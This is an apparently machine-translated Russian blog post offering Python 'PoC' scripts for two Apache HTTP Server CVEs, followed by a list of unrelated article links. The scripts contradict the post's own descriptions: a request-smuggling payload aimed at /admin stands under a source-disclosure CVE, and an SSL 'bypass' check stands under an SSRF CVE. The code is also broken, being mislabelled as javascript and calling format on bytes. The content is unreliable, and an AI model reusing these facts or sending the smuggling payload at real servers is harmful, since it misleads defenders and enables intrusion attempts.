CVE-2024-40725|Уязвимость утечки исходного кода HTTP-сервера Apache (POC)
CVE-2024-40725|Уязвимость утечки исходного кода HTTP-сервера Apache (POC)

0x00 Предисловие

Apache HTTP Server (сокращенно Apache) — это веб-сервер с открытым исходным кодом Apache Software Foundation. Он может работать на большинстве компьютерных операционных систем. Благодаря своей кроссплатформенности и безопасности он широко используется и является самым популярным. программное обеспечение на стороне веб-сервера.

HTTP-сервер Apache отличается простотой, высокой скоростью, стабильной производительностью, безопасностью и надежностью. Его можно расширить с помощью простых API-интерфейсов и интегрировать языковые интерпретаторы, такие как Perl и Python.

0x01 Описание уязвимости

Функция ap_set_content_type_ex устанавливает запрошенный тип контента.

Затронутая версия не может правильно применить флаг доверия к подзапросам при обработке запросов. В некоторых случаях, когда файлы запрашиваются косвенно, AddType и подобные конфигурации могут привести к утечке содержимого локальных файлов сценариев. Злоумышленники могут использовать эту уязвимость для получения PHP. и т. д. Исходный код языка сценариев.

0x02 номер CVE

CVE-2024-40898: HTTP-сервер Apache в Windows SSRF.

Уязвимость подделки запроса на стороне сервера (SSRF) существует, если модуль mod_rewrite используется на сервере или в среде виртуального хостинга. Эта уязвимость может позволить злоумышленнику передать хэши NTLM на вредоносный сервер через SSRF и вредоносные запросы.

CVE-2024-40725: уязвимость раскрытия исходного кода HTTP-сервера Apache.

Функция ap_set_content_type_ex устанавливает запрошенный тип контента.

Затронутая версия не может правильно применить флаг доверия к подзапросам при обработке запросов. В некоторых случаях, когда файлы запрашиваются косвенно, AddType и подобные конфигурации могут привести к утечке содержимого локальных файлов сценариев. Злоумышленники могут использовать эту уязвимость для получения PHP. и т. д. Исходный код языка сценариев.

0x03 затронутая версия

http_server@[2.4.60, 2.4.62)

apache2@ влияет на все версии

0x04 Подробности об уязвимости

Инструменты проверки уязвимостей:

https://github.com/TAM-K592/CVE-2024-40725-CVE-2024-40898

CVE-2024-40725.py

Язык кода:javascript
копировать
import requests
import argparse

def detect_http_request_smuggling(target_url):
    """
    Обнаружить цель Apache HTTP Server существует CVE-2024-40725 (HTTP Request Smuggling) лазейки

    :param target_url: целевой сервер URL
    """
    # структура HTTP Request Smuggling запрос на атаку
    smuggled_request = (
        "POST / HTTP/1.1\r\n"
        "Host: {}\r\n"
        "Content-Length: 0\r\n"
        "Transfer-Encoding: chunked\r\n"
        "\r\n"
        "0\r\n\r\n"
        "GET /admin HTTP/1.1\r\n"
        "Host: {}\r\n"
        "User-Agent: smuggle-test\r\n"
        "\r\n"
    ).format(target_url, target_url)

    try:
        # Отправить запрос на целевой сервер
        response = requests.post(target_url, data=smuggled_request, headers={'Content-Type': 'text/plain'}, timeout=10)

        # Определите, указывает ли ответ на наличие лазейки
        if response.status_code == 200 and "admin" in response.text:
            print(f"цель {target_url} может существовать CVE-2024-40725 лазейки")
        else:
            print(f"цель {target_url} не существует CVE-2024-40725 лазейки")
    except Exception as e:
        print(f"Во время процесса обнаружения произошла ошибка: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Обнаружение CVE-2024-40725 лазейки')
    parser.add_argument('-u', '--url', required=True, help='целевой сервер URL')
    args = parser.parse_args()
    detect_http_request_smuggling(args.url)

CVE-2024-40898 .py

Язык кода:javascript
копировать
import ssl
import socket
import argparse

def detect_ssl_verification_bypass(target_host, target_port):
    """
    Обнаружить цель Apache HTTP Server существует CVE-2024-40898 (SSL Обход аутентификации) лазейки

    :param target_host: целевой имя хоста сервера или IP адрес
    :param target_port: целевой Номер сервера Порт
    """
    context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
    context.verify_mode = ssl.CERT_OPTIONAL

    try:
        # Подключиться к целевому серверу
        with socket.create_connection((target_host, target_port)) as sock:
            with context.wrap_socket(sock, server_hostname=target_host) as ssock:
                ssock.sendall(b"HEAD / HTTP/1.1\r\nHost: {}\r\n\r\n".format(target_host.encode()))
                response = ssock.recv(4096)

                # Определите, указывает ли ответ на наличие лазейки
                if b"200 OK" in response:
                    print(f"цель {target_host}:{target_port} может существовать CVE-2024-40898 лазейки")
                else:
                    print(f"цель {target_host}:{target_port} не существует CVE-2024-40898 лазейки")
    except Exception as e:
        print(f"Во время процесса обнаружения произошла ошибка: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Обнаружение CVE-2024-40898 лазейки')
    parser.add_argument('-u', '--url', required=True, help='целевой сервер URL')
    args = parser.parse_args()

    # Разделить имя хоста и номер порта
    target_host, target_port = args.url.split(":")
    detect_ssl_verification_bypass(target_host, int(target_port))

ссылка на ссылку 0x05

https://httpd.apache.org/download.cgi

https://httpd.apache.org/security/vulnerabilities_24.html

Статьи и инструменты в этом официальном аккаунте предназначены только для ознакомления. Любые прямые или косвенные последствия и ущерб, вызванные распространением и использованием информации, представленной в этом документе, несут ответственность самого пользователя этого официального аккаунта и автора. статья не несут за это никакой ответственности.

boy illustration
Учебное пособие по Jetpack Compose для начинающих, базовые элементы управления и макет
boy illustration
Код js веб-страницы, фон частицы, код спецэффектов
boy illustration
【новый! Суперподробное】Полное руководство по свойствам компонентов Figma.
boy illustration
🎉Обязательно к прочтению новичкам: полное руководство по написанию мини-программ WeChat с использованием программного обеспечения Cursor.
boy illustration
[Забавный проект Docker] VoceChat — еще одно приложение для мгновенного чата (IM)! Может быть встроен в любую веб-страницу!
boy illustration
Как реализовать переход по странице в HTML (html переходит на указанную страницу)
boy illustration
Как решить проблему зависания и низкой скорости при установке зависимостей с помощью npm. Существуют ли доступные источники npm, которые могут решить эту проблему?
boy illustration
Серия From Zero to Fun: Uni-App WeChat Payment Practice WeChat авторизует вход в систему и украшает страницу заказа, создает интерфейс заказа и инициирует запрос заказа
boy illustration
Серия uni-app: uni.navigateЧтобы передать скачок значения
boy illustration
Апплет WeChat настраивает верхнюю панель навигации и адаптируется к различным моделям.
boy illustration
JS-время конвертации
boy illustration
Обеспечьте бесперебойную работу ChromeDriver 125: советы по решению проблемы chromedriver.exe не найдены
boy illustration
Поле комментария, щелчок мышью, специальные эффекты, js-код
boy illustration
Объект массива перемещения объекта JS
boy illustration
Как открыть разрешение на позиционирование апплета WeChat_Как использовать WeChat для определения местонахождения друзей
boy illustration
Я даю вам два набора из 18 простых в использовании фонов холста Power BI, так что вам больше не придется возиться с цветами!
boy illustration
Получить текущее время в js_Как динамически отображать дату и время в js
boy illustration
Вам необходимо изучить сочетания клавиш vsCode для форматирования и организации кода, чтобы вам больше не приходилось настраивать формат вручную.
boy illustration
У ChatGPT большое обновление. Всего за 45 минут пресс-конференция показывает, что OpenAI сделал еще один шаг вперед.
boy illustration
Copilot облачной разработки — упрощение разработки
boy illustration
Микросборка xChatGPT с низким кодом, создание апплета чат-бота с искусственным интеллектом за пять шагов
boy illustration
CUDA Out of Memory: идеальное решение проблемы нехватки памяти CUDA
boy illustration
Анализ кластеризации отдельных ячеек, который должен освоить каждый&MarkerгенетическийВизуализация
boy illustration
vLLM: мощный инструмент для ускорения вывода ИИ
boy illustration
CodeGeeX: мощный инструмент генерации кода искусственного интеллекта, который можно использовать бесплатно в дополнение к второму пилоту.
boy illustration
Машинное обучение Реальный бой LightGBM + настройка параметров случайного поиска: точность 96,67%
boy illustration
Бесшовная интеграция, мгновенный интеллект [1]: платформа больших моделей Dify-LLM, интеграция без кодирования и встраивание в сторонние системы, более 42 тысяч звезд, чтобы стать свидетелями эксклюзивных интеллектуальных решений.
boy illustration
LM Studio для создания локальных больших моделей
boy illustration
Как определить количество слоев и нейронов скрытых слоев нейронной сети?
boy illustration
[Отслеживание целей] Подробное объяснение ByteTrack и детали кода